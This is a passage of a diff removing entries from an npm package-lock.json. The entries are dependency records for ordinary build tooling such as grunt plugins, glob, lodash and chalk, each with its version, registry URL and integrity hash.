"https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/gauge/node_modules/strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/gaze": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", - "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", - "dev": true, - "dependencies": { - "globule": "^1.0.0" - }, - "engines": { - "node": ">= 4.0.0" - } - }, - "node_modules/get-assigned-identifiers": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/get-assigned-identifiers/-/get-assigned-identifiers-1.2.0.tgz", - "integrity": "sha512-mBBwmeGTrxEMO4pMaaf/uUEFHnYtwr8FTe8Y/mer4rcV/bye0qGm6pw1bGZFGStxC5O76c5ZAVBGnqHmOaJpdQ==", - "dev": true - }, - "node_modules/get-caller-file": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.2.tgz", - "integrity": "sha1-9wLmMSfn4jHBYKgMFVSstw1QR+U=", - "dev": true - }, - "node_modules/get-stdin": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz", - "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/get-stream": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", - "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/get-value": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", - "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/getobject": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/getobject/-/getobject-0.1.0.tgz", - "integrity": "sha1-BHpEl4n6Fg0Bj1SG7ZEyC27HiFw=", - "dev": true, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/getpass": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", - "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", - "dev": true, - "dependencies": { - "assert-plus": "^1.0.0" - } - }, - "node_modules/gettext-parser": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/gettext-parser/-/gettext-parser-1.4.0.tgz", - "integrity": "sha512-sedZYLHlHeBop/gZ1jdg59hlUEcpcZJofLq2JFwJT1zTqAU3l2wFv6IsuwFHGqbiT9DWzMUW4/em2+hspnmMMA==", - "dev": true, - "dependencies": { - "encoding": "^0.1.12", - "safe-buffer": "^5.1.1" - } - }, - "node_modules/gherkin": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/gherkin/-/gherkin-5.1.0.tgz", - "integrity": "sha1-aEu7A63STq9731RPWAM+so+zxtU=", - "deprecated": "This package is now published under @cucumber/gherkin", - "dev": true, - "bin": { - "gherkin-javascript": "bin/gherkin" - } - }, - "node_modules/github-from-package": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", - "integrity": "sha1-l/tdlr/eiXMxPyDoKI75oWf6ZM4=", - "dev": true, - "optional": true - }, - "node_modules/glob": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.0.6.tgz", - "integrity": "sha1-IRuvr0nlJbjNkyYNFKsTYVKz9Xo=", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.2", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/glob-base": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/glob-base/-/glob-base-0.3.0.tgz", - "integrity": "sha1-27Fk9iIbHAscz4Kuoyi0l98Oo8Q=", - "dev": true, - "dependencies": { - "glob-parent": "^2.0.0", - "is-glob": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/glob-parent": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz", - "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", - "dev": true, - "dependencies": { - "is-glob": "^2.0.0" - } - }, - "node_modules/globals": { - "version": "9.18.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", - "integrity": "sha1-qjiWs+abSH8X4x7SFD1pqOMMLYo=", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/globby": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-5.0.0.tgz", - "integrity": "sha1-69hGZ8oNuzMLmbz8aOrCvFQ3Dg0=", - "dev": true, - "dependencies": { - "array-union": "^1.0.1", - "arrify": "^1.0.0", - "glob": "^7.0.3", - "object-assign": "^4.0.1", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/globby/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/globule": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz", - "integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==", - "dev": true, - "dependencies": { - "glob": "~7.1.1", - "lodash": "~4.17.10", - "minimatch": "~3.0.2" - }, - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/globule/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/graceful-fs": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.11.tgz", - "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=", - "dev": true, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/growl": { - "version": "1.10.3", - "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.3.tgz", - "integrity": "sha512-hKlsbA5Vu3xsh1Cg3J7jSmX/WaW6A5oBeqzM88oNbCRQFz+zUaXm6yxS4RVytp1scBoJzSYl4YAEOQIt6O8V1Q==", - "dev": true, - "engines": { - "node": ">=4.x" - } - }, - "node_modules/grunt": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/grunt/-/grunt-1.0.3.tgz", - "integrity": "sha512-/JzmZNPfKorlCrrmxWqQO4JVodO+DVd5XX4DkocL/1WlLlKVLE9+SdEIempOAxDhWPysLle6afvn/hg7Ck2k9g==", - "dev": true, - "dependencies": { - "coffeescript": "~1.10.0", - "dateformat": "~1.0.12", - "eventemitter2": "~0.4.13", - "exit": "~0.1.1", - "findup-sync": "~0.3.0", - "glob": "~7.0.0", - "grunt-cli": "~1.2.0", - "grunt-known-options": "~1.1.0", - "grunt-legacy-log": "~2.0.0", - "grunt-legacy-util": "~1.1.1", - "iconv-lite": "~0.4.13", - "js-yaml": "~3.5.2", - "minimatch": "~3.0.2", - "mkdirp": "~0.5.1", - "nopt": "~3.0.6", - "path-is-absolute": "~1.0.0", - "rimraf": "~2.6.2" - }, - "bin": { - "grunt": "bin/grunt" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-browserify": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/grunt-browserify/-/grunt-browserify-5.3.0.tgz", - "integrity": "sha1-R/2M+LrFj+LeaDr9xX9/OoDKeS0=", - "dev": true, - "dependencies": { - "async": "^2.5.0", - "browserify": "^16.0.0", - "browserify-incremental": "^3.1.1", - "glob": "^7.1.2", - "lodash": "^4.17.4", - "resolve": "^1.1.6", - "watchify": "^3.6.1" - }, - "engines": { - "node": ">= 0.8.x" - } - }, - "node_modules/grunt-browserify/node_modules/async": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", - "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", - "dev": true, - "dependencies": { - "lodash": "^4.17.10" - } - }, - "node_modules/grunt-browserify/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/grunt-contrib-clean": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/grunt-contrib-clean/-/grunt-contrib-clean-1.1.0.tgz", - "integrity": "sha1-Vkq/LQN4qYOhW54/MO51tzjEBjg=", - "dev": true, - "dependencies": { - "async": "^1.5.2", - "rimraf": "^2.5.1" - }, - "engines": { - "node": ">= 0.10.0" - }, - "peerDependencies": { - "grunt": ">=0.4.5" - } - }, - "node_modules/grunt-contrib-clean/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/grunt-contrib-clean/node_modules/rimraf": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", - "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", - "dev": true, - "dependencies": { - "glob": "^7.0.5" - }, - "bin": { - "rimraf": "bin.js" - } - }, - "node_modules/grunt-contrib-compress": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/grunt-contrib-compress/-/grunt-contrib-compress-1.4.3.tgz", - "integrity": "sha1-Ac7/ucY39S5wgfRjdQmD0KOw+nM=", - "dev": true, - "dependencies": { - "archiver": "^1.3.0", - "chalk": "^1.1.1", - "lodash": "^4.7.0", - "pretty-bytes": "^4.0.2", - "stream-buffers": "^2.1.0" - }, - "engines": { - "node": ">=0.10.0" - }, - "optionalDependencies": { - "iltorb": "^1.0.13" - } - }, - "node_modules/grunt-contrib-compress/node_modules/ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-compress/node_modules/ansi-styles": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-compress/node_modules/archiver": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/archiver/-/archiver-1.3.0.tgz", - "integrity": "sha1-TyGU1tj5nfP1MeaIHxTxXVX6ryI=", - "dev": true, - "dependencies": { - "archiver-utils": "^1.3.0", - "async": "^2.0.0", - "buffer-crc32": "^0.2.1", - "glob": "^7.0.0", - "lodash": "^4.8.0", - "readable-stream": "^2.0.0", - "tar-stream": "^1.5.0", - "walkdir": "^0.0.11", - "zip-stream": "^1.1.0" - }, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/grunt-contrib-compress/node_modules/async": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.0.tgz", - "integrity": "sha512-xAfGg1/NTLBBKlHFmnd7PlmUW9KhVQIUuSrYem9xzFUZy13ScvtyGGejaae9iAVRiRq9+Cx7DPFaAAhCpyxyPw==", - "dev": true, - "dependencies": { - "lodash": "^4.14.0" - } - }, - "node_modules/grunt-contrib-compress/node_modules/chalk": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", - "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dev": true, - "dependencies": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-compress/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/grunt-contrib-compress/node_modules/has-ansi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", - "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "dev": true, - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-compress/node_modules/lodash": { - "version": "4.17.5", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.5.tgz", - "integrity": "sha512-svL3uiZf1RwhH+cWrfZn3A4+U58wbP0tGVTLQPbjplZxZ8ROD9VLuNgsRniTlLe7OlSqR79RUehXgpBW/s0IQw==", - "dev": true - }, - "node_modules/grunt-contrib-compress/node_modules/strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-compress/node_modules/supports-color": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", - "dev": true, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/grunt-contrib-compress/node_modules/zip-stream": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-1.2.0.tgz", - "integrity": "sha1-qLxF9MG0lpnGuQGYuqyqzbzUugQ=", - "dev": true, - "dependencies": { - "archiver-utils": "^1.3.0", - "compress-commons": "^1.2.0", - "lodash": "^4.8.0", - "readable-stream": "^2.0.0" - }, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/grunt-contrib-concat": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/grunt-contrib-concat/-/grunt-contrib-concat-1.0.1.tgz", - "integrity": "sha1-YVCYYwhOhx1+ht5IwBUlntl3Rb0=", - "dev": true, - "dependencies": { - "chalk": "^1.0.0", - "source-map": "^0.5.3" - }, - "engines": { - "node": ">=0.10.0" - }, - "peerDependencies": { - "grunt": ">=0.4.0" - } - }, - "node_modules/grunt-contrib-concat/node_modules/ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-concat/node_modules/ansi-styles": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-concat/node_modules/chalk": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", - "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dev": true, - "dependencies": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-concat/node_modules/has-ansi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", - "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "dev": true, - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-concat/node_modules/strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-concat/node_modules/supports-color": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", - "dev": true, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/grunt-contrib-copy": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/grunt-contrib-copy/-/grunt-contrib-copy-1.0.0.tgz", - "integrity": "sha1-cGDGWB6QS4qw0A8HbgqPbj58NXM=", - "dev": true, - "dependencies": { - "chalk": "^1.1.1", - "file-sync-cmp": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-copy/node_modules/ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-copy/node_modules/ansi-styles": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-copy/node_modules/chalk": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", - "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dev": true, - "dependencies": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-copy/node_modules/has-ansi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", - "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "dev": true, - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-copy/node_modules/strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-copy/node_modules/supports-color": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", - "dev": true, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/grunt-contrib-jshint": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/grunt-contrib-jshint/-/grunt-contrib-jshint-1.1.0.tgz", - "integrity": "sha1-Np2QmyWTxA6L55lAshNAhQx5Oaw=", - "dev": true, - "dependencies": { - "chalk": "^1.1.1", - "hooker": "^0.2.3", - "jshint": "~2.9.4" - }, - "engines": { - "node": ">=0.10.0" - }, - "peerDependencies": { - "grunt": ">=0.4.0" - } - }, - "node_modules/grunt-contrib-jshint/node_modules/ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-jshint/node_modules/ansi-styles": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-jshint/node_modules/chalk": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", - "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dev": true, - "dependencies": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-jshint/node_modules/cli": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/cli/-/cli-1.0.1.tgz", - "integrity": "sha1-IoF1NPJL+klQw01TLUjsvGIbjBQ=", - "dev": true, - "dependencies": { - "exit": "0.1.2", - "glob": "^7.1.1" - }, - "engines": { - "node": ">=0.2.5" - } - }, - "node_modules/grunt-contrib-jshint/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/grunt-contrib-jshint/node_modules/has-ansi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", - "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "dev": true, - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-jshint/node_modules/jshint": { - "version": "2.9.5", - "resolved": "https://registry.npmjs.org/jshint/-/jshint-2.9.5.tgz", - "integrity": "sha1-HnJSkVzmgbQIJ+4UJIxG006apiw=", - "dev": true, - "dependencies": { - "cli": "~1.0.0", - "console-browserify": "1.1.x", - "exit": "0.1.x", - "htmlparser2": "3.8.x", - "lodash": "3.7.x", - "minimatch": "~3.0.2", - "shelljs": "0.3.x", - "strip-json-comments": "1.0.x" - }, - "bin": { - "jshint": "bin/jshint" - } - }, - "node_modules/grunt-contrib-jshint/node_modules/lodash": { - "version": "3.7.0", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-3.7.0.tgz", - "integrity": "sha1-Nni9irmVBXwHreg27S7wh9qBHUU=", - "dev": true - }, - "node_modules/grunt-contrib-jshint/node_modules/strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-jshint/node_modules/strip-json-comments": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-1.0.4.tgz", - "integrity": "sha1-HhX7ysl9Pumb8tc7TGVrCCu6+5E=", - "dev": true, - "bin": { - "strip-json-comments": "cli.js" - }, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/grunt-contrib-jshint/node_modules/supports-color": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", - "dev": true, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/grunt-contrib-less": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/grunt-contrib-less/-/grunt-contrib-less-2.0.0.tgz", - "integrity": "sha512-nsaODoEMjVn61OuqPaFeFQpb4Qd/EbfxQDeYnh2oONXm8L5Gnuchtv59kl0V3hjiFdOkZlPILDc3ZrkoZI0PNw==", - "dev": true, - "dependencies": { - "async": "^2.0.0", - "chalk": "^1.0.0", - "less": "^3.0.4", - "lodash": "^4.17.10" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/grunt-contrib-less/node_modules/async": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", - "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", - "dev": true, - "dependencies": { - "lodash": "^4.17.10" - } - }, - "node_modules/grunt-contrib-watch": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/grunt-contrib-watch/-/grunt-contrib-watch-1.1.0.tgz", - "integrity": "sha512-yGweN+0DW5yM+oo58fRu/XIRrPcn3r4tQx+nL7eMRwjpvk+rQY6R8o94BPK0i2UhTg9FN21hS+m8vR8v9vXfeg==", - "dev": true, - "dependencies": { - "async": "^2.6.0", - "gaze": "^1.1.0", - "lodash": "^4.17.10", - "tiny-lr": "^1.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-contrib-watch/node_modules/async": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", - "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", - "dev": true, - "dependencies": { - "lodash": "^4.17.10" - } - }, - "node_modules/grunt-known-options": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/grunt-known-options/-/grunt-known-options-1.1.0.tgz", - "integrity": "sha1-pCdO6zL6dl2lp6OxcSYXzjsUQUk=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt-legacy-log": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/grunt-legacy-log/-/grunt-legacy-log-2.0.0.tgz", - "integrity": "sha512-1m3+5QvDYfR1ltr8hjiaiNjddxGdQWcH0rw1iKKiQnF0+xtgTazirSTGu68RchPyh1OBng1bBUjLmX8q9NpoCw==", - "dev": true, - "dependencies": { - "colors": "~1.1.2", - "grunt-legacy-log-utils": "~2.0.0", - "hooker": "~0.2.3", - "lodash": "~4.17.5" - }, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/grunt-legacy-log-utils": { - "version": "2.0.1", - "resolved": 